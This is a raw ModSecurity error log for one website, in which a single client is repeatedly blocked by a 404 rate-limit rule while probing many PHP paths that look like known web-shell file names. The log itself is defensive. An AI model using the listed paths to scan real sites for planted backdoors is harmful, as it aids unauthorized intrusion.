[Thu Feb 26 21:04:44.238572 2026] [:error] [pid 25311:tid 25329] [client 20.216.146.160:37498] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/files/start.php"] [unique_id "aaBE7NfdM__yZAgJFSvdAwAAAY8"]
[Thu Feb 26 21:04:44.715685 2026] [:error] [pid 44444:tid 44463] [client 20.216.146.160:14989] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/files/xaw.php"] [unique_id "aaBE7G2sMNmj-yekUk0XJgAAAg0"]
[Thu Feb 26 21:04:45.184562 2026] [:error] [pid 25311:tid 25325] [client 20.216.146.160:37477] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/files/xaw.php"] [unique_id "aaBE7dfdM__yZAgJFSvdBQAAAYs"]
[Thu Feb 26 21:04:45.652281 2026] [:error] [pid 25311:tid 25314] [client 20.216.146.160:37444] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/files/xaw.php"] [unique_id "aaBE7dfdM__yZAgJFSvdCQAAAYA"]
[Thu Feb 26 21:04:46.123007 2026] [:error] [pid 20419:tid 20444] [client 20.216.146.160:2728] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/files/xaw.php"] [unique_id "aaBE7u3DVDvMfTYYUBVS3QAAAdY"]
[Thu Feb 26 21:04:46.594508 2026] [:error] [pid 44444:tid 44460] [client 20.216.146.160:38625] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aaBE7m2sMNmj-yekUk0XKQAAAgo"]
[Thu Feb 26 21:04:47.066148 2026] [:error] [pid 25311:tid 25329] [client 20.216.146.160:2697] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aaBE79fdM__yZAgJFSvdEgAAAY8"]
[Thu Feb 26 21:04:47.534670 2026] [:error] [pid 55618:tid 55645] [client 20.216.146.160:38602] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aaBE7x61Vrh12f_8oWQJeAAAARg"]
[Thu Feb 26 21:04:48.003264 2026] [:error] [pid 3883:tid 3899] [client 20.216.146.160:15024] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aaBE8OA33x90V6yYHajgNAAAAU0"]
[Thu Feb 26 21:04:48.474608 2026] [:error] [pid 3883:tid 3902] [client 20.216.146.160:37450] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wc49.php"] [unique_id "aaBE8OA33x90V6yYHajgNgAAAVA"]
[Thu Feb 26 21:04:48.943816 2026] [:error] [pid 3883:tid 3906] [client 20.216.146.160:10349] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wc49.php"] [unique_id "aaBE8OA33x90V6yYHajgOQAAAVQ"]
[Thu Feb 26 21:04:49.412586 2026] [:error] [pid 54991:tid 55026] [client 20.216.146.160:40268] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wc49.php"] [unique_id "aaBE8d4Zx-mJ8gbRB2jkBwAAAEY"]
[Thu Feb 26 21:04:49.882858 2026] [:error] [pid 3883:tid 3901] [client 20.216.146.160:16568] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wc49.php"] [unique_id "aaBE8eA33x90V6yYHajgOwAAAU8"]
[Thu Feb 26 21:04:50.353239 2026] [:error] [pid 44444:tid 44471] [client 20.216.146.160:20407] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/TL.php"] [unique_id "aaBE8m2sMNmj-yekUk0XLwAAAhU"]
[Thu Feb 26 21:04:50.821592 2026] [:error] [pid 25311:tid 25330] [client 20.216.146.160:16570] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/TL.php"] [unique_id "aaBE8tfdM__yZAgJFSvdFAAAAZA"]
[Thu Feb 26 21:04:51.291129 2026] [:error] [pid 55051:tid 55055] [client 20.216.146.160:16552] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/TL.php"] [unique_id "aaBE8wmK1w2kZvh5eLGnTwAAAIE"]
[Thu Feb 26 21:04:51.759888 2026] [:error] [pid 55051:tid 55060] [client 20.216.146.160:20370] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/TL.php"] [unique_id "aaBE8wmK1w2kZvh5eLGnUQAAAIY"]
[Thu Feb 26 21:04:52.229221 2026] [:error] [pid 25311:tid 25324] [client 20.216.146.160:2722] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sys.php"] [unique_id "aaBE9NfdM__yZAgJFSvdFgAAAYo"]
[Thu Feb 26 21:04:52.701041 2026] [:error] [pid 25311:tid 25332] [client 20.216.146.160:37469] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sys.php"] [unique_id "aaBE9NfdM__yZAgJFSvdGAAAAZI"]
[Thu Feb 26 21:04:53.171511 2026] [:error] [pid 25311:tid 25337] [client 20.216.146.160:11461] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sys.php"] [unique_id "aaBE9dfdM__yZAgJFSvdGgAAAZc"]
[Thu Feb 26 21:04:53.642571 2026] [:error] [pid 25311:tid 25321] [client 20.216.146.160:37442] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sys.php"] [unique_id "aaBE9dfdM__yZAgJFSvdHwAAAYc"]
[Thu Feb 26 21:04:54.112986 2026] [:error] [pid 54991:tid 55030] [client 20.216.146.160:16528] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fck.php"] [unique_id "aaBE9t4Zx-mJ8gbRB2jkCQAAAEo"]
[Thu Feb 26 21:04:54.584694 2026] [:error] [pid 55122:tid 55138] [client 20.216.146.160:55250] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fck.php"] [unique_id "aaBE9oLiR0OfjFxvcN8t3AAAAM4"]
[Thu Feb 26 21:04:55.064026 2026] [:error] [pid 3883:tid 3905] [client 20.216.146.160:16514] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fck.php"] [unique_id "aaBE9-A33x90V6yYHajgQwAAAVM"]
[Thu Feb 26 21:04:55.532937 2026] [:error] [pid 3883:tid 3899] [client 20.216.146.160:55243] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fck.php"] [unique_id "aaBE9-A33x90V6yYHajgRwAAAU0"]
[Thu Feb 26 21:04:56.001912 2026] [:error] [pid 3883:tid 3900] [client 20.216.146.160:15039] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/x123x.php"] [unique_id "aaBE-OA33x90V6yYHajgSAAAAU4"]
[Thu Feb 26 21:04:56.472277 2026] [:error] [pid 55122:tid 55131] [client 20.216.146.160:11832] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/x123x.php"] [unique_id "aaBE-ILiR0OfjFxvcN8t3gAAAMc"]
[Thu Feb 26 21:04:56.946226 2026] [:error] [pid 44444:tid 44454] [client 20.216.146.160:20398] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/x123x.php"] [unique_id "aaBE-G2sMNmj-yekUk0XPwAAAgQ"]
[Thu Feb 26 21:04:57.416482 2026] [:error] [pid 3883:tid 3895] [client 20.216.146.160:39832] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/x123x.php"] [unique_id "aaBE-eA33x90V6yYHajgTwAAAUk"]
[Thu Feb 26 21:04:57.886673 2026] [:error] [pid 54990:tid 55000] [client 20.216.146.160:20380] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aaBE-Xtr2qmt_mBhH2wnCQAAAAc"]
[Thu Feb 26 21:04:58.357598 2026] [:error] [pid 3883:tid 3898] [client 20.216.146.160:16512] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aaBE-uA33x90V6yYHajgUwAAAUw"]
[Thu Feb 26 21:04:58.829145 2026] [:error] [pid 20419:tid 20441] [client 20.216.146.160:16530] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aaBE-u3DVDvMfTYYUBVS3wAAAdM"]
[Thu Feb 26 21:04:59.298451 2026] [:error] [pid 3883:tid 3897] [client 20.216.146.160:20352] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aaBE--A33x90V6yYHajgWAAAAUs"]
[Thu Feb 26 21:04:59.767608 2026] [:error] [pid 3883:tid 3901] [client 20.216.146.160:14976] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/nw2.php"] [unique_id "aaBE--A33x90V6yYHajgWwAAAU8"]
[Thu Feb 26 21:05:00.240827 2026] [:error] [pid 44444:tid 44455] [client 20.216.146.160:11821] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/nw2.php"] [unique_id "aaBE_G2sMNmj-yekUk0XTgAAAgU"]
[Thu Feb 26 21:05:00.709825 2026] [:error] [pid 44444:tid 44473] [client 20.216.146.160:55277] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/nw2.php"] [unique_id "aaBE_G2sMNmj-yekUk0XUgAAAhc"]
[Thu Feb 26 21:05:01.178564 2026] [:error] [pid 44444:tid 44450] [client 20.216.146.160:27919] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/nw2.php"] [unique_id "aaBE_W2sMNmj-yekUk0XWgAAAgA"]
[Thu Feb 26 21:05:01.646717 2026] [:error] [pid 55618:tid 55623] [client 20.216.146.160:55251] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/blackmini.php"] [unique_id "aaBE_R61Vrh12f_8oWQJfgAAAQI"]
[Thu Feb 26 21:05:02.115341 2026] [:error] [pid 55618:tid 55625] [client 20.216.146.160:38601] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/blackmini.php"] [unique_id "aaBE_h61Vrh12f_8oWQJgAAAAQQ"]
[Thu Feb 26 21:05:02.584197 2026] [:error] [pid 55051:tid 55054] [client 20.216.146.160:11507] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/blackmini.php"] [unique_id "aaBE_gmK1w2kZvh5eLGnXQAAAIA"]
[Thu Feb 26 21:05:03.053375 2026] [:error] [pid 25311:tid 25335] [client 20.216.146.160:11508] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/blackmini.php"] [unique_id "aaBE_9fdM__yZAgJFSvdKwAAAZU"]
[Thu Feb 26 21:05:03.524336 2026] [:error] [pid 44444:tid 44463] [client 20.216.146.160:14988] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gssdd.php"] [unique_id "aaBE_22sMNmj-yekUk0XbQAAAg0"]
[Thu Feb 26 21:05:03.994547 2026] [:error] [pid 54990:tid 55015] [client 20.216.146.160:27918] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gssdd.php"] [unique_id "aaBE_3tr2qmt_mBhH2wnCwAAABY"]
[Thu Feb 26 21:05:04.463550 2026] [:error] [pid 55618:tid 55622] [client 20.216.146.160:27956] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gssdd.php"] [unique_id "aaBFAB61Vrh12f_8oWQJhgAAAQE"]
[Thu Feb 26 21:05:04.933043 2026] [:error] [pid 54990:tid 54994] [client 20.216.146.160:27924] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gssdd.php"] [unique_id "aaBFAHtr2qmt_mBhH2wnDQAAAAE"]
[Thu Feb 26 21:05:05.401910 2026] [:error] [pid 25311:tid 25323] [client 20.216.146.160:20361] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/F19.php"] [unique_id "aaBFAdfdM__yZAgJFSvdLgAAAYk"]
[Thu Feb 26 21:05:05.871346 2026] [:error] [pid 44444:tid 44470] [client 20.216.146.160:14980] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/F19.php"] [unique_id "aaBFAW2sMNmj-yekUk0XegAAAhQ"]
[Thu Feb 26 21:05:06.340614 2026] [:error] [pid 20419:tid 20428] [client 20.216.146.160:45443] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/F19.php"] [unique_id "aaBFAu3DVDvMfTYYUBVS5AAAAcY"]
[Thu Feb 26 21:05:06.810627 2026] [:error] [pid 25311:tid 25338] [client 20.216.146.160:11459] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/F19.php"] [unique_id "aaBFAtfdM__yZAgJFSvdMQAAAZg"]
[Thu Feb 26 21:05:07.280958 2026] [:error] [pid 25311:tid 25316] [client 20.216.146.160:11496] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/F1.php"] [unique_id "aaBFA9fdM__yZAgJFSvdMgAAAYI"]
[Thu Feb 26 21:05:07.750032 2026] [:error] [pid 3883:tid 3900] [client 20.216.146.160:38621] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/F1.php"] [unique_id "aaBFA-A33x90V6yYHajgcQAAAU4"]
[Thu Feb 26 21:05:08.218918 2026] [:error] [pid 54991:tid 55021] [client 20.216.146.160:44495] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/F1.php"] [unique_id "aaBFBN4Zx-mJ8gbRB2jkEwAAAEE"]
[Thu Feb 26 21:05:08.689996 2026] [:error] [pid 20419:tid 20432] [client 20.216.146.160:11787] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/F1.php"] [unique_id "aaBFBO3DVDvMfTYYUBVS6AAAAco"]
[Thu Feb 26 21:05:09.160130 2026] [:error] [pid 3883:tid 3886] [client 20.216.146.160:37460] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aaBFBeA33x90V6yYHajgeAAAAUA"]
[Thu Feb 26 21:05:09.632196 2026] [:error] [pid 44444:tid 44455] [client 20.216.146.160:38613] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aaBFBW2sMNmj-yekUk0XkAAAAgU"]
[Thu Feb 26 21:05:10.117693 2026] [:error] [pid 44444:tid 44454] [client 20.216.146.160:45441] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aaBFBm2sMNmj-yekUk0XlQAAAgQ"]
